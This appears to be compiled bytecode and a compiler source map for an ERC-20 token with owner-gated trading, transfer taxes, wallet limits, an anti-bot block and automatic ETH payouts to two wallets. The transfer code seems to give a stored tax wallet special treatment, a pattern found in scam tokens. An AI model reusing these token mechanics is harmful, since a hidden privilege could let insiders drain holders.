27f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f6103a63384846109bf565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161046090611773565b601654600160a01b900460ff16156105aa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610460565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b5f546001600160a01b031633146105f05760405162461bcd60e51b815260040161046090611773565b6105f947611191565b565b5f546001600160a01b031633146106245760405162461bcd60e51b815260040161046090611773565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610686573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106aa91906117a8565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610709573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072d91906117a8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610777573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b91906117a8565b601680546001600160a01b0319166001600160a01b039283161790556015546107c8913091165f1961089c565b6015546001600160a01b031663f305d71947306107f9816001600160a01b03165f9081526001602052604090205490565b5f8061080c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610872573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089791906117c3565b505050565b6001600160a01b0383166108fe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b03821661095f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b5f8111610ae65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6016548190600160a01b900460ff16610b79576001600160a01b0383165f9081526003602052604090205460ff1680610b3657506001600160a01b0384165f9081526003602052604090205460ff165b610b795760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610460565b601654600160a81b900460ff1680610b9b5750601654600160a01b900460ff16155b15610c4d576001600160a01b0384165f9081526001602052604081208054849290610bc79084906117ee565b90915550506001600160a01b0383165f9081526001602052604081208054849290610bf3908490611801565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3f91815260200190565b60405180910390a350505050565b5f610c7a6064610c74600d5460105411610c6957600954610c6d565b600b545b869061123f565b906112c4565b9050610c8d5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cbb57505f546001600160a01b03858116911614155b15610ffa576016546001600160a01b038681169116148015610ceb57506015546001600160a01b03858116911614155b8015610d0f57506001600160a01b0384165f9081526003602052604090205460ff16155b15610e1657601154831115610d665760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610460565b60125483610d88866001600160a01b03165f9081526001602052604090205490565b610d929190611801565b1115610de05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610460565b436008546003610df09190611801565b1115610e0157833b15610e01575f80fd5b60108054905f610e1083611814565b91905055505b6016546001600160a01b03858116911614801590610e4c57506001600160a01b0384165f9081526003602052604090205460ff16155b15610ecb5760125483610e73866001600160a01b03165f9081526001602052604090205490565b610e7d9190611801565b1115610ecb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610460565b6016546001600160a01b038581169116148015610ef157506001600160a01b0385163014155b15610f1e57610f1b6064610c74600e5460105411610f1157600a54610c6d565b600c54869061123f565b90505b305f90815260016020526040902054601654600160a81b900460ff16158015610f5457506016546001600160a01b038681169116145b8015610f695750601654600160b01b900460ff165b8015610f785750600f54601054115b8015610f9c57506001600160a01b0386165f9081526003602052604090205460ff16155b8015610fc057506001600160a01b0385165f9081526003602052604090205460ff16155b15610ff857601354811115610fec57610fec610fe785610fe284601454611305565b611305565b611319565b47610ff647611191565b505b505b6004546001600160a01b039081169086160361101657600b5492505b801561108e57305f908152600160205260409020546110359082611489565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110859085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110b090846114e7565b6001600160a01b0386165f9081526001602052604090205590915081906110f86110da83836114e7565b6001600160a01b0386165f9081526001602052604090205490611489565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114186856114e7565b60405190815260200160405180910390a35050505050565b5f818484111561117c5760405162461bcd60e51b81526004016104609190611554565b505f61118884866117ee565b95945050505050565b5f6064600654836111a2919061175c565b6111ac919061182c565b90505f6064600754846111bf919061175c565b6111c9919061182c565b6004546040519192506001600160a01b03169083156108fc029084905f818181858888f19350505050158015611201573d5f803e3d5ffd5b506005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611239573d5f803e3d5ffd5b50505050565b5f825f0361124e57505f6103aa565b5f611259838561175c565b905082611266858361182c565b146112bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610460565b9392505050565b5f6112bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611528565b5f81831161131357826112bd565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135f5761135f61184b565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113da91906117a8565b816001815181106113ed576113ed61184b565b6001600160a01b039283166020918202929092010152601554611413913091168461089c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144b9085905f9086903090429060040161185f565b5f604051808303815f87803b158015611462575f80fd5b505af1158015611474573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f806114958385611801565b9050838110156112bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b5f6112bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611159565b5f81836115485760405162461bcd60e51b81526004016104609190611554565b505f611188848661182c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461159d575f80fd5b50565b5f80604083850312156115b1575f80fd5b82356115bc81611589565b946020939093013593505050565b5f805f606084860312156115dc575f80fd5b83356115e781611589565b925060208401356115f781611589565b929592945050506040919091013590565b5f60208284031215611618575f80fd5b81356112bd81611589565b5f8060408385031215611634575f80fd5b823561163f81611589565b9150602083013561164f81611589565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116a857815f190482111561168e5761168e61165a565b8085161561169b57918102915b93841c9390800290611673565b509250929050565b5f826116be575060016103aa565b816116ca57505f6103aa565b81600181146116e057600281146116ea57611706565b60019150506103aa565b60ff8411156116fb576116fb61165a565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611729575081810a6103aa565b611733838361166e565b805f19048211156117465761174661165a565b029392505050565b5f6112bd60ff8416836116b0565b80820281158282048414176103aa576103aa61165a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117b8575f80fd5b81516112bd81611589565b5f805f606084860312156117d5575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103aa576103aa61165a565b808201808211156103aa576103aa61165a565b5f600182016118255761182561165a565b5060010190565b5f8261184657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118af5784516001600160a01b03168352938301939183019160010161188a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa4e22aa9d64400033ce4cb6d4249f136e371db313b5dc1bb2b8dad43752b62e64736f6c63430008190033

3955:9544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6636:83;;;;;;;;;;-1:-1:-1;6706:5:0;;;;;;;;;;;;-1:-1:-1;;;6706:5:0;;;;6636:83;;;;;;;:::i;:::-;;;;;;;;7517:186;;;;;;;;;;-1:-1:-1;7517:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7517:186:0;893:187:1;5193:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5193:55:0;1085:177:1;6913:95:0;;;;;;;;;;;;;:::i;7711:446::-;;;;;;;;;;-1:-1:-1;7711:446:0;;;;;:::i;:::-;;:::i;6822:83::-;;;;;;;;;;-1:-1:-1;6822:83:0;;4802:1;1870:36:1;;1858:2;1843:18;6822:83:0;1728:184:1;7016:117:0;;;;;;;;;;-1:-1:-1;7016:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7109:16:0;7082:7;7109:16;;;:7;:16;;;;;;;7016:117;2869:148;;;;;;;;;;;;;:::i;:::-;;12691:174;;;;;;;;;;;;;:::i;5002:56::-;;;;;;;;;;;;;;;;2655:79;;;;;;;;;;-1:-1:-1;2693:7:0;2720:6;2655:79;;-1:-1:-1;;;;;2720:6:0;;;2315:51:1;;2303:2;2288:18;2655:79:0;2169:203:1;5065:58:0;;;;;;;;;;;;;;;;6727:87;;;;;;;;;;-1:-1:-1;6799:7:0;;;;;;;;;;;;-1:-1:-1;;;6799:7:0;;;;6727:87;;7141:192;;;;;;;;;;-1:-1:-1;7141:192:0;;;;;:::i;:::-;;:::i;5130:56::-;;;;;;;;;;;;;;;;13156:203;;;;;;;;;;;;;:::i;13367:92::-;;;;;;;;;;;;;:::i;7341:168::-;;;;;;;;;;-1:-1:-1;7341:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7474:18:0;;;7447:7;7474:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7341:168;5999:629;;;;;;;;;;;;;:::i;7517:186::-;7617:4;7634:39;282:10;7657:7;7666:6;7634:8;:39::i;:::-;-1:-1:-1;7691:4:0;7517:186;;;;;:::o;6913:95::-;6966:7;4858:15;4802:1;4858:2;:15;:::i;:::-;4845:28;;:10;:28;:::i;:::-;6986:14;;6913:95;:::o;7711:446::-;7843:4;7860:36;7870:6;7878:9;7889:6;7860:9;:36::i;:::-;7907:220;7930:6;282:10;7978:138;8034:6;7978:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7978:19:0;;;;;;:11;:19;;;;;;;;282:10;7978:33;;;;;;;;;;:37;:138::i;:::-;7907:8;:220::i;:::-;-1:-1:-1;8145:4:0;7711:446;;;;;:::o;2869:148::-;2782:6;;-1:-1:-1;;;;;2782:6:0;282:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;;;;;;;;;2976:1:::1;2960:6:::0;;2939:40:::1;::::0;-1:-1:-1;;;;;2960:6:0;;::::1;::::0;2939:40:::1;::::0;2976:1;;2939:40:::1;3007:1;2990:19:::0;;-1:-1:-1;;;;;;2990:19:0::1;::::0;;2869:148::o;12691:174::-;2782:6;;-1:-1:-1;;;;;2782:6:0;282:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12745:12:0::1;:26:::0;;;12782:14:::1;:28:::0;;;12826:31:::1;::::0;1231:25:1;;;12826:31:0::1;::::0;1219:2:1;1204:18;12826:31:0::1;;;;;;;12691:174::o:0;7141:192::-;7244:4;7261:42;282:10;7285:9;7296:6;7261:9;:42::i;13156:203::-;2782:6;;-1:-1:-1;;;;;2782:6:0;282:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;13218:11:::1;::::0;-1:-1:-1;;;13218:11:0;::::1;;;13217:12;13209:48;;;::::0;-1:-1:-1;;;13209:48:0;;5015:2:1;13209:48:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;13209:48:0::1;4813:347:1::0;13209:48:0::1;13268:11;:18:::0;;-1:-1:-1;;;;13297:18:0;-1:-1:-1;;;13297:18:0;;;13339:12:::1;13326:10;:25:::0;13156:203::o;13367:92::-;2782:6;;-1:-1:-1;;;;;2782:6:0;282:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;13416:35:::1;13429:21;13416:12;:35::i;:::-;13367:92::o:0;5999:629::-;2782:6;;-1:-1:-1;;;;;2782:6:0;282:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;6045:15:::1;:104:::0;;-1:-1:-1;;;;;;6045:104:0::1;6096:42;6045:104:::0;;::::1;::::0;;;6196:25:::1;::::0;;-1:-1:-1;;;6196:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;6096:42;6196:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6178:55:0::1;;6256:4;6276:15;;;;;;;;;-1:-1:-1::0;;;;;6276:15:0::1;-1:-1:-1::0;;;;;6276:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6178:131;::::0;-1:-1:-1;;;;;;6178:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;6178:131:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;6178:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6162:13;:147:::0;;-1:-1:-1;;;;;;6162:147:0::1;-1:-1:-1::0;;;;;6162:147:0;;::::1;;::::0;;6354:15:::1;::::0;6322:62:::1;::::0;6339:4:::1;::::0;6354:15:::1;-1:-1:-1::0;;6322:8:0::1;:62::i;:::-;6397:15;::::0;-1:-1:-1;;;;;6397:15:0::1;:31;6436:21;6481:4;6501:24;6481:4:::0;-1:-1:-1;;;;;7109:16:0;7082:7;7109:16;;;:7;:16;;;;;;;7016:117;6501:24:::1;6540:1;6556::::0;6572:7:::1;2693::::0;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;6572:7:::1;6397:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6397:223:0;;;-1:-1:-1;;;;;6089:15:1;;;6397:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;6594:15:0::1;6303:19:1::0;;;6296:35;6005:19;;6397:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5999:629::o:0;8165:335::-;-1:-1:-1;;;;;8258:19:0;;8250:68;;;;-1:-1:-1;;;8250:68:0;;6855:2:1;8250:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;8250:68:0;6653:400:1;8250:68:0;-1:-1:-1;;;;;8337:21:0;;8329:68;;;;-1:-1:-1;;;8329:68:0;;7260:2:1;8329:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;8329:68:0;7058:398:1;8329:68:0;-1:-1:-1;;;;;8408:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8460:32;;1231:25:1;;;8460:32:0;;1204:18:1;8460:32:0;;;;;;;8165:335;;;:::o;8508:3366::-;-1:-1:-1;;;;;8596:18:0;;8588:68;;;;-1:-1:-1;;;8588:68:0;;7663:2:1;8588:68:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;8588:68:0;7461:401:1;8588:68:0;-1:-1:-1;;;;;8675:16:0;;8667:64;;;;-1:-1:-1;;;8667:64:0;;8069:2:1;8667:64:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;8667:64:0;7867:399:1;8667:64:0;8759:1;8750:6;:10;8742:64;;;;-1:-1:-1;;;8742:64:0;;8473:2:1;8742:64:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;8742:64:0;8271:405:1;8742:64:0;8859:11;;8837:6;;-1:-1:-1;;;8859:11:0;;;;8854:177;;-1:-1:-1;;;;;8913:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;8939:24:0;;;;;;:18;:24;;;;;;;;8913:50;8887:132;;;;-1:-1:-1;;;8887:132:0;;8883:2:1;8887:132:0;;;8865:21:1;8922:2;8902:18;;;8895:30;-1:-1:-1;;;8941:18:1;;;8934:50;9001:18;;8887:132:0;8681:344:1;8887:132:0;9047:6;;-1:-1:-1;;;9047:6:0;;;;;:22;;-1:-1:-1;9058:11:0;;-1:-1:-1;;;9058:11:0;;;;9057:12;9047:22;9043:214;;;-1:-1:-1;;;;;9117:13:0;;;;;;:7;:13;;;;;:23;;9134:6;;9117:13;:23;;9134:6;;9117:23;:::i;:::-;;;;-1:-1:-1;;;;;;;9155:11:0;;;;;;:7;:11;;;;;:21;;9170:6;;9155:11;:21;;9170:6;;9155:21;:::i;:::-;;;;;;;;9213:2;-1:-1:-1;;;;;9198:26:0;9207:4;-1:-1:-1;;;;;9198:26:0;;9217:6;9198:26;;;;1231:25:1;;1219:2;1204:18;;1085:177;9198:26:0;;;;;;;;9239:7;8508:3366;;;:::o;9043:214::-;9269:17;9315:110;9421:3;9315:87;9353:15;;9341:9;;:27;9340:61;;9387:14;;9340:61;;;9372:12;;9340:61;9315:6;;:24;:87::i;:::-;:105;;:110::i;:::-;9303:122;;9450:7;2693;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;9450:7;-1:-1:-1;;;;;9442:15:0;:4;-1:-1:-1;;;;;9442:15:0;;;:32;;;;-1:-1:-1;2693:7:0;2720:6;-1:-1:-1;;;;;9461:13:0;;;2720:6;;9461:13;;9442:32;9438:2010;;;9521:13;;-1:-1:-1;;;;;9513:21:0;;;9521:13;;9513:21;:72;;;;-1:-1:-1;9569:15:0;;-1:-1:-1;;;;;9555:30:0;;;9569:15;;9555:30;;9513:72;:116;;;;-1:-1:-1;;;;;;9607:22:0;;;;;;:18;:22;;;;;;;;9606:23;9513:116;9491:560;;;9682:12;;9672:6;:22;;9664:60;;;;-1:-1:-1;;;9664:60:0;;9495:2:1;9664:60:0;;;9477:21:1;9534:2;9514:18;;;9507:30;9573:27;9553:18;;;9546:55;9618:18;;9664:60:0;9293:349:1;9664:60:0;9799:14;;9789:6;9773:13;9783:2;-1:-1:-1;;;;;7109:16:0;7082:7;7109:16;;;:7;:16;;;;;;;7016:117;9773:13;:22;;;;:::i;:::-;:40;;9743:140;;;;-1:-1:-1;;;9743:140:0;;9849:2:1;9743:140:0;;;9831:21:1;9888:2;9868:18;;;9861:30;9927:28;9907:18;;;9900:56;9973:18;;9743:140:0;9647:350:1;9743:140:0;9925:12;9908:10;;9921:1;9908:14;;;;:::i;:::-;:29;9904:102;;;12128:20;;12176:8;9962:24;;;;;;10024:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9491:560;10077:13;;-1:-1:-1;;;;;10071:19:0;;;10077:13;;10071:19;;;;:46;;-1:-1:-1;;;;;;10095:22:0;;;;;;:18;:22;;;;;;;;10094:23;10071:46;10067:227;;;10194:14;;10184:6;10168:13;10178:2;-1:-1:-1;;;;;7109:16:0;7082:7;7109:16;;;:7;:16;;;;;;;7016:117;10168:13;:22;;;;:::i;:::-;:40;;10138:140;;;;-1:-1:-1;;;10138:140:0;;9849:2:1;10138:140:0;;;9831:21:1;9888:2;9868:18;;;9861:30;9927:28;9907:18;;;9900:56;9973:18;;10138:140:0;9647:350:1;10138:140:0;10320:13;;-1:-1:-1;;;;;10314:19:0;;;10320:13;;10314:19;:44;;;;-1:-1:-1;;;;;;10337:21:0;;10353:4;10337:21;;10314:44;10310:332;;;10391:235;10622:3;10391:204;10463:16;;10451:9;;:28;10450:122;;10557:15;;10450:122;;;10512:13;;10391:6;;:32;:204::i;:235::-;10379:247;;10310:332;10707:4;10658:28;7109:16;;;:7;:16;;;;;;10751:6;;-1:-1:-1;;;10751:6:0;;;;10750:7;:47;;;;-1:-1:-1;10784:13:0;;-1:-1:-1;;;;;10778:19:0;;;10784:13;;10778:19;10750:47;:79;;;;-1:-1:-1;10818:11:0;;-1:-1:-1;;;10818:11:0;;;;10750:79;:130;;;;;10862:18;;10850:9;;:30;10750:130;:176;;;;-1:-1:-1;;;;;;10902:24:0;;;;;;:18;:24;;;;;;;;10901:25;10750:176;:220;;;;-1:-1:-1;;;;;;10948:22:0;;;;;;:18;:22;;;;;;;;10947:23;10750:220;10728:709;;;11031:17;;11008:20;:40;11005:205;;;11073:117;11116:51;11120:6;11128:38;11132:20;11154:11;;11128:3;:38::i;:::-;11116:3;:51::i;:::-;11073:16;:117::i;:::-;11275:21;11367:35;11380:21;11367:12;:35::i;:::-;10986:451;10728:709;9476:1972;9438:2010;11459:12;;-1:-1:-1;;;;;11459:12:0;;;11451:20;;;;11448:46;;11482:12;;11473:21;;11448:46;11511:13;;11507:168;;11582:4;11566:22;;;;:7;:22;;;;;;:37;;11593:9;11566:26;:37::i;:::-;11557:4;11541:22;;;;:7;:22;;;;;;;:62;;;;11623:40;;-1:-1:-1;;;;;11623:40:0;;;;;;;11653:9;1231:25:1;;1219:2;1204:18;;1085:177;11623:40:0;;;;;;;;11507:168;-1:-1:-1;;;;;11703:13:0;;;;;;:7;:13;;;;;;:25;;11721:6;11703:17;:25::i;:::-;-1:-1:-1;;;;;11687:13:0;;;;;;:7;:13;;;;;:41;11739:7;;-1:-1:-1;11739:7:0;;11771:38;11787:21;11739:7;11798:9;11787:10;:21::i;:::-;-1:-1:-1;;;;;11771:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;11757:11:0;;;;;;;:7;:11;;;;;:52;;;;11825:41;;;11844:21;:6;11855:9;11844:10;:21::i;:::-;11825:41;;1231:25:1;;;1219:2;1204:18;11825:41:0;;;;;;;8577:3297;;8508:3366;;;:::o;1457:224::-;1577:7;1613:12;1605:6;;;;1597:29;;;;-1:-1:-1;;;1597:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1637:9:0;1649:5;1653:1;1649;:5;:::i;:::-;1637:17;1457:224;-1:-1:-1;;;;;1457:224:0:o;12873:275::-;12930:16;12983:3;12959:20;;12950:6;:29;;;;:::i;:::-;12949:37;;;;:::i;:::-;12930:56;;12997:16;13051:3;13026:21;;13017:6;:30;;;;:::i;:::-;13016:38;;;;:::i;:::-;13067:12;;:31;;12997:57;;-1:-1:-1;;;;;;13067:12:0;;:31;;;;;13089:8;;13067:12;:31;:12;:31;13089:8;13067:12;:31;;;;;;;;;;;;;;;;;;;;-1:-1:-1;13109:12:0;;:31;;-1:-1:-1;;;;;13109:12:0;;;;:31;;;;;13131:8;;13109:12;:31;:12;:31;13131:8;13109:12;:31;;;;;;;;;;;;;;;;;;;;;12919:229;;12873:275;:::o;1689:246::-;1747:7;1771:1;1776;1771:6;1767:47;;-1:-1:-1;1801:1:0;1794:8;;1767:47;1824:9;1836:5;1840:1;1836;:5;:::i;:::-;1824:17;-1:-1:-1;1869:1:0;1860:5;1864:1;1824:17;1860:5;:::i;:::-;:10;1852:56;;;;-1:-1:-1;;;1852:56:0;;10566:2:1;1852:56:0;;;10548:21:1;10605:2;10585:18;;;10578:30;10644:34;10624:18;;;10617:62;-1:-1:-1;;;10695:18:1;;;10688:31;10736:19;;1852:56:0;10364:397:1;1852:56:0;1926:1;1689:246;-1:-1:-1;;;1689:246:0:o;1943:132::-;2001:7;2028:39;2032:1;2035;2028:39;;;;;;;;;;;;;;;;;:3;:39::i;11882:107::-;11939:7;11971:1;11967;:5;11966:15;;11980:1;11966:15;;;-1:-1:-1;11976:1:0;11882:107;-1:-1:-1;11882:107:0:o;12200:483::-;5532:6;:13;;-1:-1:-1;;;;5532:13:0;-1:-1:-1;;;5532:13:0;;;12302:16:::1;::::0;;12316:1:::1;12302:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12302:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12302:16:0::1;12278:40;;12347:4;12329;12334:1;12329:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12329:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12373:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12373:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12329:7;;12373:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12363:4;12368:1;12363:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12363:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12438:15:::1;::::0;12406:62:::1;::::0;12423:4:::1;::::0;12438:15:::1;12456:11:::0;12406:8:::1;:62::i;:::-;12479:15;::::0;:196:::1;::::0;-1:-1:-1;;;12479:196:0;;-1:-1:-1;;;;;12479:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12560:11;;12479:15:::1;::::0;12602:4;;12629::::1;::::0;12649:15:::1;::::0;12479:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5568:6:0;:14;;-1:-1:-1;;;;5568:14:0;;;-1:-1:-1;;;;12200:483:0:o;1126:179::-;1184:7;;1216:5;1220:1;1216;:5;:::i;:::-;1204:17;;1245:1;1240;:6;;1232:46;;;;-1:-1:-1;;;1232:46:0;;12217:2:1;1232:46:0;;;12199:21:1;12256:2;12236:18;;;12229:30;12295:29;12275:18;;;12268:57;12342:18;;1232:46:0;12015:351:1;1313:136:0;1371:7;1398:43;1402:1;1405;1398:43;;;;;;;;;;;;;;;;;:3;:43::i;2083:223::-;2203:7;2238:12;2231:5;2223:28;;;;-1:-1:-1;;;2223:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2262:9:0;2274:5;2278:1;2274;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377: